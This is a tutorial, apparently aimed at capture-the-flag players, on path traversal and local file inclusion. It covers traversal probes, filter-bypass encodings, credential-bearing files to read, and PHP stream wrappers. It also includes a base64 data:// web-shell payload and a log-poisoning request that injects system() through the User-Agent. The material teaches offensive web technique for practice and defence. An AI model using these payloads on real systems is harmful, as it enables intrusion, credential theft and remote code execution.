Path traversal and local file inclusion: from ../ to code execution
Getting out of the directory the application meant you to stay in, the filters that try to stop you and why they fail, PHP stream wrappers, and the four routes from reading a file to executing one.
Whenever an application builds a filesystem path out of something you sent, the question is whether you can make that path point somewhere else. That is the whole of path traversal. What separates a two-point challenge from a hard one is not the traversal - it is what the application does with the file afterwards, because *including* a file is very different from *reading* one.
Find the parameter first. Web recon is the machinery for that; the candidates are anything that names a resource: ?page=, ?file=, ?template=, ?lang=, ?doc=, ?download=, a path segment in a route, or a filename in a multipart upload.
Confirming it, with the cheapest possible probe
Do not lead with /etc/passwd. Lead with a payload that proves the path is concatenated and tells you how deep you are, because a 200 with different content is a much clearer signal than a 500.
GET /view?page=about.php -> 200, the about page
GET /view?page=./about.php -> 200, identical. Concatenation confirmed.
GET /view?page=xyz -> error text? which error?
GET /view?page=../../../../../../etc/passwd- The error message is the map.
failed to open stream: No such file or directory in /var/www/html/view.phptells you the include function, the document root, and often the suffix appended to your input. Read it before trying anything clever. - Over-traverse.
../repeated ten times is harmless - the root directory's parent is itself - so there is no reason to count. Use enough that depth cannot be the problem. - Try a file that is definitely there and definitely boring.
/etc/hostnameis one line and unambiguous./proc/self/cmdlinetells you what the process is, which shapes everything after.
| Target | What it gives you |
|---|---|
| /etc/passwd | Confirmation, plus the list of users and their home directories. |
| /proc/self/environ | Environment variables - often database credentials, secret keys, and the flag itself. |
| /proc/self/cmdline | The exact command line, which names the app entry point and its config file. |
| /proc/self/cwd/<file> | A relative read without knowing the absolute path. /proc/self/cwd/app.py frequently just works. |
| /proc/self/fd/N | Open file descriptors, including log files whose paths you do not know. |
| /app/.env, config.php, settings.py | Application secrets. Guess from the framework the errors reveal. |
| /root/.ssh/id_rsa, ~/.bash_history | Only if the process runs as root, which in a container it often does. |
| .git/config and .git/HEAD | The repository is present. Switch to dumping it whole. |
The filters, and why each one fails
Challenges add a filter and expect you to defeat it. There are only about six, and the bypass for each follows from how the filter is written.
| Filter | Bypass | Why |
|---|---|---|
Strips ../ once, non-recursively | ....// or ..././ | Removing the inner ../ leaves a ../ behind. |
Blocks the literal string ../ | ..%2f, %2e%2e%2f, ..%252f | The check runs before the URL decode, or before a second decode. |
| Requires the path to start with a known prefix | /var/www/images/../../../etc/passwd | The prefix is present. It is just not where the path ends. |
Appends an extension, e.g. .php | A null byte (PHP < 5.3.4), or find a file that has it | Rarely bypassable on modern PHP. Use a wrapper instead. |
| Blocks absolute paths | Traverse from the relative base instead | You never needed an absolute path. |
| Allowlists a set of filenames | Look for one that is itself an inclusion | The allowlist is the attack surface now, not the path. |
PHP stream wrappers: reading source, and more
If the target is PHP and the sink is include, require, file_get_contents or fopen, your input is not a path - it is a URI, and PHP resolves several schemes. This is what turns traversal into something much stronger.
- `php://filter` applies encodings on the way through.
php://filter/convert.base64-encode/resource=index.phpreturns the *source* of a PHP file rather than executing it, which is how you read the challenge's own code. Base64 is essential here: without it, an included PHP file executes and you see its output instead of its text. - `php://input` reads the request body, so
?page=php://inputwith PHP code in the body is direct code execution - whenallow_url_includeis on. - `data://` embeds the content in the URI itself:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWzBdKTs/Pg==. Same requirement. - `expect://` runs a command directly, if the extension happens to be loaded. It usually is not, but it costs one request to find out.
- `zip://` and `phar://` read a file *inside* an archive you uploaded.
phar://additionally triggers PHP object deserialization on the archive's metadata, which connects straight into gadget chains. - Filter chains are the modern trick: a long chain of
convert.iconvconversions can be made to produce arbitrary bytes from nothing, turning a read-onlyphp://filterprimitive into arbitrary code execution with no upload at all.
From reading a file to running code
When the sink *includes* rather than reads, any file whose contents you can influence becomes a payload. Four routes, in rough order of how often they work.
1. Include something you uploaded
The simplest and most reliable. Any upload feature that keeps your bytes somewhere on disk - an avatar, a document, a support attachment - gives you a file to point the inclusion at. It does not need a .php extension, because the inclusion does not care about extensions. See file upload to RCE for making the upload itself pass validation.
2. Log poisoning
Web server logs record your request. Put PHP in a field the log records verbatim, then include the log file.
GET / HTTP/1.1
Host: target
User-Agent: <?php system($_GET['c']); ?>
then: ?page=../../../../var/log/apache2/access.log&c=id3. Session files
PHP writes session data to /var/lib/php/sessions/sess_<PHPSESSID> in a semi-readable format. If any value you control ends up in the session - a username, a language preference, a search term - you can write PHP into the session file and then include it. Your session id is in your own cookie, so you know the exact path.
4. /proc/self/environ and other writable-by-you files
On older setups, including /proc/self/environ executed code placed in the User-Agent, because the CGI environment carries it. This is largely dead on modern kernels and configurations but remains a one-request check.
Traversal outside PHP
- Node.js:
path.join(base, req.query.f)traverses freely.express.staticwithdotfilesmisconfigured serves.envand.git. Look also forres.sendFilewithout arootoption. - Python:
os.path.join(base, user)returnsuseroutright ifuseris absolute - a widely-missed footgun. Flask'ssend_from_directoryis safe;send_filewith concatenation is not. - Java: traversal in a
ZipEntryname is Zip Slip, which writes outside the extraction directory rather than reading outside a serving directory. - Nginx alias misconfiguration: a
location /staticwithalias /var/www/static/and no trailing slash lets/static../escape the directory entirely. This is a server-config bug with no application code involved. - Reverse proxies: a path that the proxy normalises differently from the backend can reach routes the proxy meant to block. This is the read-only cousin of request smuggling.
Working an LFI, in order
- Find every parameter that names a resource.
- Confirm concatenation with
./filebefore traversing. - Read the error message and take the document root, the sink function, and any appended suffix from it.
- Over-traverse to
/etc/passwdor/etc/hostname. - If blocked, work through the encoding table - it is six requests.
- If PHP: read the vulnerable script's own source with
php://filterimmediately. - Read
/proc/self/environand the app config for secrets before escalating - the flag is frequently just there. - If the sink includes rather than reads, look for a file you can write: an upload, a log, a session.
That order is deliberately front-loaded with reads. A large share of LFI challenges never need code execution at all, because the flag is an environment variable or sits in a config file next to the script - and getting there costs three requests rather than an afternoon of log poisoning.